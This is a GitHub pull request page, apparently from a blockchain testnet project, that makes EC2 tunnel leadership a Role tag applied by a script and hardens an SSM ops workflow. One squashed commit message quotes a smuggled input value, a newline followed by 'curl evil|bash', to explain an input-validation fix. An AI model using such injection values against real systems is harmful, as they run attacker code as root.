refactor(ec2): make tunnel leadership a tag the box follows - #159
Merged
Conversation
Drop the SSM-parameter election from leader.sh. Role=leader is now written only by the ops workflow, and `leader.sh apply` just makes the box match it: connector up if tagged, down if not. No shared lock, so the claim races and the two-connector state promote could leave behind are gone rather than fixed. A failed tag lookup exits non-zero without touching the connector. promote/demote move to the workflow: untag the old leader, tag the new, apply to both. The instance profile drops to ec2:DescribeTags plus the token read. Also puts cloudflared in the `tunnel` compose profile so a bare `up -d` cannot start one, and passes its token via TUNNEL_TOKEN instead of argv.
ronkq
added a commit
that referenced
this pull request
Aug 18, 2026
Drop the SSM-parameter election from leader.sh. Role=leader is now written only by the ops workflow, and `leader.sh apply` just makes the box match it: connector up if tagged, down if not. No shared lock, so the claim races and the two-connector state promote could leave behind are gone rather than fixed. A failed tag lookup exits non-zero without touching the connector. promote/demote move to the workflow: untag the old leader, tag the new, apply to both. The instance profile drops to ec2:DescribeTags plus the token read. Also puts cloudflared in the `tunnel` compose profile so a bare `up -d` cannot start one, and passes its token via TUNNEL_TOKEN instead of argv. Co-authored-by: ronkq <arseni@qed-it.com>
ronkq
added a commit
that referenced
this pull request
Sep 8, 2026
* Add testnet configuration * Update config.rs * Simplify testnet setup for a curl served bootsrap genesis approach * Rename testnet magic and name to ZSA * Add EC2 runtime configuration and tunnel leader election for ZSATestnet * Update leader.sh * Refresh the ECR login before deploy so pulls survive token expiry * Distinguish an unreadable leader parameter from an unclaimed one, remove the || true * Only treat a missing instance as gone, not any lookup failure * Return the actual result of the leader parameter write * Name the instance metadata endpoint * Rename the genesis helper to self_serve_genesis * Document the manual SSM path for ops.sh and generalise region * refactor(ec2): make tunnel leadership a tag the box follows (#159) Drop the SSM-parameter election from leader.sh. Role=leader is now written only by the ops workflow, and `leader.sh apply` just makes the box match it: connector up if tagged, down if not. No shared lock, so the claim races and the two-connector state promote could leave behind are gone rather than fixed. A failed tag lookup exits non-zero without touching the connector. promote/demote move to the workflow: untag the old leader, tag the new, apply to both. The instance profile drops to ec2:DescribeTags plus the token read. Also puts cloudflared in the `tunnel` compose profile so a bare `up -d` cannot start one, and passes its token via TUNNEL_TOKEN instead of argv. Co-authored-by: ronkq <arseni@qed-it.com> * Add EC2 ops workflow driving the testnet node over SSM (#157) * Add EC2 ops workflow driving the testnet node over SSM * Pass ops workflow inputs through env and validate image_tag and instance_id * Validate ops workflow inputs and fail the job on non-Success SSM status * Poll SSM for up to 15 minutes instead of the 100s command-executed waiter && Pin configure-aws-credentials to a commit SHA * Source AWS_REGION from vars instead of hardcoding it * Run the ops job under the dev environment and move env into the job * Small fix of leader * Move promote and demote to the runner as Role tag changes * Verify an explicit instance_id belongs to zebra-testnet before acting on it * Update the ECR login note now that deploy refreshes it itself * Validate image_tag before the tag step and stop leaking errors from logs-api * Add deploy-files to pull the box files from the zsa1 branch * Address review comments on the ops workflow and box scripts * Document hardware requirements and what the launch template installs * Abort promote if the old leader fails, validate ref, add RestartSec, guard IMAGE_REPO, drop the funding_streams patch * Force-fetch tags so the ECR build works on a tag push * Timestamp the genesis block to 2026-09-01 and pin its hash (#169) * Zebra ec2 ops hardening (#170) * fix(ec2): match inputs against the whole string, not per line grep anchors ^ and $ per line, so an anchored pattern passes as soon as any one line matches. image_tag and ref both reach a root shell on the box, so a value like $'zsa1\ncurl evil|bash' passed validation on its first line and carried the second one through. Use bash [[ =~ ]], which matches the whole string. The '..' check for ref becomes a case: `[[ ]] &&` returns non-zero when false, which would abort the step under bash -e. * fix(ec2): roll the Role tag back when a promote cannot stand down Aborting left the tag on the new leader while the old one still held the tunnel, and re-running promote could not repair it: the tag step finds LEADER already equal to the target, so `also` is empty and the gate is skipped. Put the tag back instead. The target is untagged first, so a rollback that dies partway leaves no leader rather than two. * fix(ec2): report an unfinished SSM command as still running, not failed The poll gives up after 240s but the command keeps going on the box, so Pending/InProgress read as failure with no output to diagnose from. Name that case and print the command id to settle it with. Matters most on promote, which now rolls the Role tag back on a failed stand-down. * fix(ec2): set the SSM poll budget in seconds and raise it to 20 min `tries=48` read like a duration but was an iteration count. Set the wall clock instead and derive the count at the loop. 240s did not cover a cold ECR pull plus genesis retries, so a slow deploy reported as unfinished while it was still working. * Guard send-command failure and clarify promote rollback outcome * shorten comments * shorten comments --------- Co-authored-by: ronkq <arseni@qed-it.com> --------- Co-authored-by: Paul <3682187+PaulLaux@users.noreply.github.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
2 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Make tunnel leadership a tag the box follows
On top of #158.
Only one instance may run
cloudflared: every process holding the tunnel token registers asanother connector and Cloudflare load-balances across them, but these nodes are not replicas —
each has its own ephemeral chain, so two connectors means one hostname answering from two
different chains.
Role=leaderis written in one place — the ops workflow — andleader.sh applyreads it andmakes the box match: connector up if tagged, down if not, and on a failed lookup it exits
non-zero and changes nothing rather than reading "not the leader". It runs at boot and on demand
(
ops.sh apply). No claim, no lock, no state two boxes can disagree about, so the races are gonerather than fixed. The instance profile drops to
ec2:DescribeTagsplus the token read — nowrite permission at all.
promote/demotestay operator verbs but move to the workflow.ops.shloses them, gainsapply.leader.shgoes from 64 lines to 60 and from four verbs to one.Two things keep a stale connector from returning:
cloudflaredmoves into atunnelcomposeprofile so a bare
docker compose up -dcan't start one, andrestart: unless-stoppedrevivesthe leader's after a reboot — which
applyat boot undoes on a box that lost the tag whilestopped.
The tunnel token also moves from argv to
TUNNEL_TOKEN, where it no longer shows up indocker inspectand the host process list.Needed in #157
The box no longer has
promote/demote, so the workflow has to implement them:promoterequires an explicitinstance_id— its target is the new leader, so theresolve-the-current-leader path doesn't apply.
Roletag, tag the target forpromote, then sendops.sh applyto both boxes so each matches its new tag.stopped. SSM can't reach it to stand itdown, and docker's restart policy revives its connector on next start. A terminated
incumbent is always safe — it never comes back.
ops.sh <action>step forpromote/demote.ec2:CreateTags/ec2:DeleteTagsonzebra-testnetinstances scoped to theRolekey — the permission the instance profile is giving up.